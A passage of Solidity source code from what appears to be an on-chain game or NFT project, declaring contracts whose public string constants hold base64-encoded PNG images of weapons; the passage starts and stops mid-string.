MR51gWYA6yCC9a5/G74CzpgdbB0EQL+nl1NtISKLyS4PWRJ5hBcgBII3U4FSck1jfzqmxCWBTJ9BJJcvDf4IFJdm1J5FTl868hGYZM48h1KI+asyMfbNrMtmVQoxiFWuLmOMzaWSf7jjoAWsQ6X17goc9IDo9/s71lNYcHvo70gthtcFh8/926Ua8DKnft/faQHNapvTbrdXBZ6vD1cIisCC3R2pNPkReFETEBpWetW67VAAYgSlr1GufS8AQFrF7Oq1gJh1RrnxIF4AIH7povPHucQAs1IQba5DYgY4KEl0tSRiBnGjI9GND1EGx6CSFpdLAjEzh2eJmLMisFKTAZiZI4/TCJh5BtJlWYzEEEMDYyzFGL2kydOIlGSMHd2ODYBw9vgY3XSiy7IwxgIMcIwNxw8fP91v3OStg5WScFwsEXM4+/Hh4+8R07cOyGUc3yyIvQ9nP109PN1j1U7Oy/MxsSCP5dntr49P95tVmxQqEcDyrH96fHffqACNBSj+8sfTB1Xgw+H2t/tmtdUAGgMKZ/3hKnotoCWOj4/3jV9dagE9xxjZVyWggR9XN3VQAo5l7VetGjARe496KUq/FNiSAKzaQQ2YS4JrLwVaQJdrbTtJpAVM7ruuEwG0/vNwSUQE8Es1nxMAQcBGa4vvRASgTYTadwHAGISg+znJklG2hTnZyU72r5l6AVpjrC4UTNCVSBuvLDEstSU2G22Jzd9I/At5ySMcKpV5UwAAAABJRU5ErkJggg==";
string public constant weapon26 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAwUExURUdwTIhLKxAUH2AsLCAuN96eQb53KyVWLhUdKDlKUOjBcFdyd0aCMnWnQ9DakRkzLTyS4yoAAAABdFJOUwBA5thmAAAFDElEQVRo3s2av2sjRxTHl8H/wFisilSrWVtqvTuQ2piFSJDGgdnCnWy0RUoT2BSyuELgNcGdG3OlOtVuhLpr1OiaNNdI3D8Qu4275L2ZlRPrOs33QA/VH77vx7y380ZBsG2iKKSMAqC1CXiIBfaxQDHYfyA4K3BgcJzvO7Cdg7MCBwrzHepmvwsxOIb3m72vG3yazb43sOD4HF0357IJB15CgeY7AItoj4FiwMBLZGGbsFkAJdZAXG23TR7mRb8R4XJyrhmY4oBXiSlkQ0eoJOdahjkBU1ROrhIZUn/QIImCBEppGJhCiMckUMqQgTpVAGCLBbLPDSJqAFHFDJQ2iBiisBJNDUwQxNj5LOWPRQE51EJRXs4ZRlAFqR0imsLGEtUjYjosTIS1CJHInDzGdQiSaCiGGgcUMmQgsG8nFMTiCjirWuwzEhhbn5HTlA4Ldpom3CCQ33UtbhASmpUQC6SsHCqyCBdEdZSRncGOs8oe2VBEcdR7dPaAIR6Rvgd2uUdEiMLeY+aMiBHEZYZ1q6oiIkSiyrKKcfTLMohElje2IrPTAAQc2yBWY0whHnUrl5XuKQo4rvMcoIA173R/gafBAfkL8Nh2LbGJ3YF3l1EDY8x/QF91baKZXIHiFlh1FxNYn3a8aYriCeaZqYY5zPHr/zDRQIG5lFMN87ht+lKSQNRXobjiG8VUN1AhbOuEBSabD+uuP9AKlHVOsu4HX4/52kgCXU64+QOA7LHNyUHvIas++Ht8QR6n9aB/8JTIwPANyJ8ilrjziLJFY6bJZtlgP5Z4hu76acMhDA2F8O0k159zsQ/wYpL8b3khuHXH2gNoLnTybhsSe2xHhHbAdxugOOHtyM7A8BugYKA+8QSqdwsI3o74APW7HZUPkOJlgfJdzGxWTnyB22kOPICTb+umceIBNJOtrMR+l/gaiNocMnBK5Y2aehZos4Kayy0GTrbOiueVm33eqkSvNYNxEiVq/UoNliSy0ynQZyailmhC1sREgiqntU3kIeAlkXeGjthIeaColvQLp2Ji6DQ6882PUu0+I9+I/jXJYWsONkRQp1DNophyn4C9CDDxVypIjQJSdphol+2gTtEuCj7XOKAgoJkCgSRx4CSi7gRvEnH3tFoi7iZZS4QBNxJxb5C1RNhNjdpjkyVKnM8t2TR8L1A4oMRKpBmDlcgvciZniQoFpItBPpjygBGQzUusaWQVJFGnqqMwwIGTqNXoEyaIg1qiGv0ZQYB0WFjiYWe0wjy8Fk6iKkdrAFEkNKxsFDvl6JmIG4t2ruxm0dChKX7plOXL83q9XC7XbDsnqFX0tU5MflmWN3+/PC/ZPq/Xq+vdgVTTJFGV5dfb8uXFEb8Mdwa2+xQuJQl48091W45e/mLitQfQPuy1Djvlzeu4qkpGLsrOcneg++wk4NfX3lOXRJJVw8XOQFF/mBCwepzP7YNI1fUAbrgUwvHH+XxmH0NuhyUA+HpHQH7zmme3Swjw0QE/PmW3CwCw5BDOrMCMMgMA3jkgCQQCncDs3h9IJ8/lhAVm9/4x7FjgzAnMuisA8HcC1gIJuAAAbQjn7k3pfgkBzmqBDPyEAdYCu9VqEXkDKYS1QDrOq+V15A3cCOQH3fvhQvkD6xTbDvalvFaewHkt0PKq4XJxFnkBq7kTaHHjYemt8G423/DGPw0XZXmW+in8Y/7keIRbMy/2ur8w0OF+XjPutzNl/1q3jfwX4QxZlGLV3FEAAAAASUVORK5CYII=";
string public constant weapon27 = "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";
string public constant weapon28 = "iVBORw0KGgoAAAANSUhEUgAAAIAAAACABAMAAAAxEHz4AAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAbUExURUdwTBcgOKTd26jKWDxei3WnQ1dydyU6Xk+Pun+9LXwAAAABdFJOUwBA5thmAAAD3UlEQVRo3tXZMXPaMBQHcKtDvFoE6BzZ5Jjta+faCPDYAi+7uVSskJa4c5pev3afZJJipYOedL1cdMcW/+4v6elZkCj6X4MHPs+aQGAcCDAVCIwDAaYCgfFrAziDVwbGbx5gt1KGAVLKRQgwllzKEGBYRkN/gGEvSXAW3sAg6ZbhLQPNqwNKz4EtAgB89GLgD7BrlVyogf9ZYAvVjJvtNQG4s+eAwvbaLIUXMLpRWyFIwL5/lECKIIABYD8QFOBTH5hrgQQsrXYAKFSEfbQBHQFCgGiIQkUohDu5tyKgsAoBtLAh7ONLAAUgAfYqYlMdue9jLF4AJX4qAjBfRnEP2HANuK5inNlANJJ86L6PBrjf948DngYKsNn3gWgEG/fTEGcZAjv7RMKKAMBytrOu2hLAdQ4agGJnX9blhpMAZVcjLzlhCmsNMEvgnAh8T7yBX+tisY+OfYC5A/m8KBY7G4howOZ2f7RWnbkDMwTU0gYiEgCL25dAQgE2cu2foEYAAAFm3/jcgDQzQNFE48RjFTXw89+A6xqkYoYAVmMyarwAkUsDLJpZ47OKd1U+/YkzwGLyBYqsRuADyKLfhdwBIes1AmADiSuQo4AALkMfcBMMgIIGbqxCcALeVSkCQs71OjYeABZCLlKdAQuy9JhCBxRGgE1CBxhWEgJamAEk/a7muIq4BMIIAF88gAECstIZsrkXgKche59hBBTgc0Jv7SyrrnAeqRbm4AFEA1nqGAjkWW8OrgDLyug5whefl8vgKjpFENl5JTgDpvuZCELUJf3d8rwZGsgeE2pT+1tQWNBpLwJt6Agizc8jEAdGEOmHsAgIrDIVEAGBtfD/3osREMiDImggbBU0ELQREwTCIiAQWAs51lNQBA2E1YIoJmG1gEBgORYTEDLoUE4gcCMmELgRCIRE+P6AAC1Cv3kOaw2sKBHa3p8OpQaAEuHH4bzJyw6gRLj7fTj78UBKfW0ESoTjdPkkcHy+7gBCOcb54/LAzbsMv3fLCi9s+vbrfiLi9VTKknePy1qAuXdSuuMxn8qnUYv0BBTuJyJeC/HYPf+AN64ngBIBr6tT87h+y3eAft27r4Iu3u62dgZQXlMtFH/HCcAPoTW1x7UF6EFpTXF7r/QwwOl5oLWmuMXRKUp9BcCfVy/pfcEo7cEgO37l3ZoMk0SDy5DWZO6QId3RdJeZX4S4fO4uqZDcpzUnp+5Sp1vO6RHiXP+QpLtTVaj3B48I36bYIPD5h/Rj0/pF0Ocbe0OheOsXoegO58eGHVrusw/fzLlSKmHcC9A1fd/955EfvN+zWM57559jvMYf8c9RtZmUHQ4AAAAASUVORK5CYII=";
string public constant weapon29 = "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";
}
contract Weapons3 {
string public constant weapon38 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAwUExURUdwTBgbNC42UA8LGklZe2+InmAsLIhLKzQcJ7zN0JqwuRAUH96eQb53K+jBcEaCMq6ZrtcAAAABdFJOUwBA5thmAAAKgklEQVRo3syav2/bSBbHKc/dIoCaDEMV2W2WQ6rYuJE59MGXbU70qNhUG0VT2NcscABlIEqaBcQDLgZyCKAYcLKAcptC1wW4FFblXS8MAyqus1LILuMUxpZBCid/w703lCwqEmn9YHEsLMOWP/rOe2/evPfGmjbhIaUitbQUH1K6S9f/z4HFtIGUikKawLvUSBXopA10UwaS1WLKwFLKwFVJUwZWEJhiILplSmklRaDjpQwkRpFSmSbQQWClkC6wJNMDrgCP5uS99LxsAtBIcc0GAmHNabkl41GdpbnmjEltIcz01pwzdSGkl56fEViSFZor30gLaK9zV5q5SvF6OkAPUhfkRKMiiukAyxgvq2V0TSoSjRBYgZwoUrGiHgIlBWcX03A0ydsF/GpSIVgqEh2USPQitRljqUjkHDArJuxAxlIr64gOKQKAZmoHiw1AkJhO5Gic2wJzGMRiKtuF2FIWFRBDh/LF1wvJQWVZSvNSVhhf1NeulB6ll0TpWXxhhfTykUhcUCQpVUILqq9lUFlhC4kk9t1QHQtf9FDkAirdPtAeugZELrAPHYEkZupD31SE8OYHEowaxh1qMDYglhdJPSQPNaKlEZXC+lZk5iKOdmRRV0DuwBkNvDxbLDcSsFkI5FxneYl5Z7Ht4kgAaib1IFNgXjQX3X4gEaLEoehZjs/iCQKjxKF2einbYWhE3eukSCwcQCUGxM5+OkSebTiQYr1O9R8jv5jfPUfVHyEGxXK9GpVI5jZrdqdedSBDLPvV3WjmmHtPA9AHiQj8+34kt1WsBYAgEYB+sBs9weaWeBT4IFE/8BsRiY7IS2tup/go0draiUh0xfwNwuHTupK4thOR6Ir5G8Fso/6D9sWKvvYkIhGA+ZGmaGn6vJHdCn7QtL9Ri0ckOgKaohGJljWLETXtGgDXhhKJwPw9IvFFYQYjgsR/WlxJ7KcJD0/BSvRt30wtMQteAYkARImXzRtI/D76tvy/pvdKAEDtCUeJkXaQ5ucFbgU+rPkaANdGGkz9e41EgNMb8Sh8AYmPR35ONe0PhXmA/efaqECQqGl/XI8AZ96LT9bGfhSJxTmA5PE48DIWl/IvZq6jro0DoWzun61LcnagNg6Ewt7jnwPJIk1maUAcAok7Pw8qMiQW+kAr5MkFhich0SoMgdwtVabzSAwQiWXY585GC6sMDvzi/ECNhkQovr2NmwB0kEfnDcI+MCQqIFftXG66bVKIBYaeASBz8tgeVubddyHQVEQRArFXyolpeF/srsU4pd902E1o1VdBX65yFZBg1v/i1xuPJwOFNwS6iicSJw9QIpqdxm7HtGKAABCeGQJXFI/F9/QOltiMftX5lekHMcCyDUTBhAIqXmwa4wy7CkZ1j5l0ma9N9IleZh7ntgdAna0qXlzSIUyV7KaOVtIPnuxMBEIzxNVnI9BN4sH2tJVA2/uF0uU/PWlMTA7lcIU2Aq1kHhAL2AKIFRToN/xJwFy/37W/owhM5mFl7pj2OlrqoO5jiTMGzF8Cm9SwruJhVUTV7GZ5rV6tjwNzsoxAoi0JeJvhXV2CEaYXQ2AQ+GNxs4ThAkC3sAQmnO5CxzTUPlhuPK1v7Y97TawLD5LWuoNAfRpgJhw46IdP/d1JvaBlQ2wRZrenBWoh0D6qbu1PskjBwWmgcweBYqpzNKMEekeTBPa3O9fc9h6YsHhj6pPINrM7Cb0judN+BUCroE35LLHrWlKD67YRSGdohTLJsXUHVwwSUxrzDwRSPa3Ll9vtNk5WqV5MCbgEAiuybMYCZyt2Mtcz30HSkZLRGCDxvp4FmCvm9miJ5WU5DuiyWfrMzCZY0KhY3CnH/ZOAa8xSiebar5s0ByFIpLkes+IZgBm62d6gtITHwCpbHJgxNlEgrSQCi8a66l+niBe7VEKBOZVmVu1CDFBXBy29fjVPlOQGCPQQSMoxwExRF4wJk/7lCl4RTuE7e02c0yatGIFQXHjUuJucgJiECqQVDqZxHFiOy9eZImU4IS2VY2mMMTWDbrX6pRzuhNjpIgDxntWQk28xXaDhIF+25MZgHG17SaNKEtZ7pZgxiiMUDnzRag6AhlhPIBIjvKuOuVqGE060WoPF0sGFS5JG9R8JcQIByDaa9LMHvJjQ23Kh7jvi0q/D8q3PgSAxPlsTLMPxpppMHgujxJeXpP5rksIVCJkbwIJ6AAohxidIZAP/QjiwPjB+/xsehdpa1QO2sCZYm8BvWy+ZukM0da5Ki6RLDGOde7D1OJYsUAtNInIWPvwbCh+rbJhw4HHHZgyKYReqTduDIJkQEbgE6ED5RnibAZEdLzD8dM/BRh/+rH3zxaR3h1enblPHohkExruE24KBxpDhsFuUfunFTe5JCYEOZKd4gcDz2vRGFEj/wya/n7i4Yg2SWLxA4IlbKvILYcRhifElmyix85tsogkhNcWWXcjzXimvwXtIKBAvhMeB2U5JtiiumLFEnrjV35wWdz1bFezGBCBx5UZL3VixxFZMiM1Xl9u9f7UFheTYFsz+JjthpnYS7jdhY1zyKGZtvAWeWEdmO77vd37R+RUtiS1GE5OulmyMrbdz6Pd6Pf/+wRU9E7ORd7PV+nd7kIzNCUCQV+vhc3w/WaDtKX0vZBseZfK+zlETZlHeux14zo/3EwUKBrxW614eyqn2azyF+jL1fDmCPKz1TnYa1eCsvnOeJJEIAUnu5s/ia8fiKFFGRFJEhq7J1kBeNQiCblB/vpUoMN8E+/0sIGnlOUeJm3uRVM9keFl92HvXAFxw3g2CrYQ1Y16nolK6x+FbKEY5t5zNtqozBmlex4WDwAbq2+6dBUH9fTzQFaWmkALXRfAgx9db7Xa/0uj/vwMsHAT6SuAJfKlf3I+3YKkFVuN9sWHRAB1hO5TIeRjilB1eNKqg7kxBe59ige6QhwEZAgkQw0VbBRy7wTdfPfzY2O6dgEeC+nmv9yluzURsSHmPX0a4LBfC0+iO3AtDERJHSd4F4Ac/OD8LwIIP3uw8P40Fll7KewXtcyDklM3XSuJ6QUON8q8I9KtBrxvUPja2nsUBnQ0ZyRkAHOw20m6rIxhrUyQi0D/3g+5JUPvgN57HAVdf8pEQGhZyt1VNHraFPK+A5z1/u3t+Uv/YOPLfxAD/zLUYIEjcU8CCIgLw908Xb2vd7fO3F41OYysGyLU44EBiWI/z5drFp5OHx7Xu2fbx6bv9o93YAdKoSSNA0pYKGFr12wegD4G9IHj45n52f7p2xslHPmFVVb79pJhtnJ74Px3XziBuHn7cnfqaIx/JqURuNodZtnH+duun97XgpAcbbz6gtqpGKP2fHD3wd58BsPuoWz99uz8t0SlH1kxwRxv9GU+2sfXfZ+8fwN7rgRGnBpKRg/j26w1qDI4+cOzz9w+2u8Gjbu3D/am7Vh4dOhEZAWKOfV99BOmmV5/eK0CMRtKqbI4AP/qPgvpx7fi0sa/N9YBEgw3nEEcXAKz1/O7Dd/MC81CVDIHXPvmP6r3acbX2YU4gnGDRSd63p35QO/Z7fn0Gr4wVAUMgWf7dr/f8Q2B+2NXmlehZw6ZiGfbe8f2O32u8+99wGAgAlw5ufySW54UAAAAASUVORK5CYII=";
string public constant weapon39 = "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";
string public constant weapon4 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABCUExURUdwTL53K4hLKxUdKMUbsDM3VldydxAUH+vt6TlKUHUkOKUwMEEdMd6eQU5ZgCAuN6i1smAsLOjBcHeJoc9XPIGXlnARCHoAAAABdFJOUwBA5thmAAACaklEQVR42u3a227jIBSFYQwYjGMak2ne/1VnsXEO7t1o5mJltP5KVdurTxhj76jOKaWUUkoppZRSSimllFJKKaWUUv9l1x6z735PpfAKr8VWkFd4PVbwSryC27puzNd4u1wu68Z7k2zrNznw0oHEQgH/zR5kB3LfJd8fcc5oE/7lNV7Zj2pqIIQrN9Bt5D6llFJKqU8sLkt8/y2yARfkXAjh8RslMJQy1g7fC+ElDiUlOFMq6FhLprovYe2CVQohsCQsXBkriDXkuXfjkTPfHQuZSIB2a8S4HEW7zgBGliU01fLKhPe+EUmAB85b43J3IP5EtAnBm3r+eHqE5woSHDXmq7W19vS5gE0YE8cm7L4JvNyqfz19g93HNL5b9WcfduE4qgPDBoQPu+/kg5Dn8TvdJo+vH0DHBGwLuS8vmRro2YE4/n4AY6QC1qmdhefZhGAFW/a+nYEswuMmmer0LowLjXAA4ZuOk3BMS4snAmZc49ofJbYNQew+MiCWsB5njR+vXp5pE5pwyovrQhDxZtjYgFOGz2Hp+lpW37hW0IStX1psxAZky/A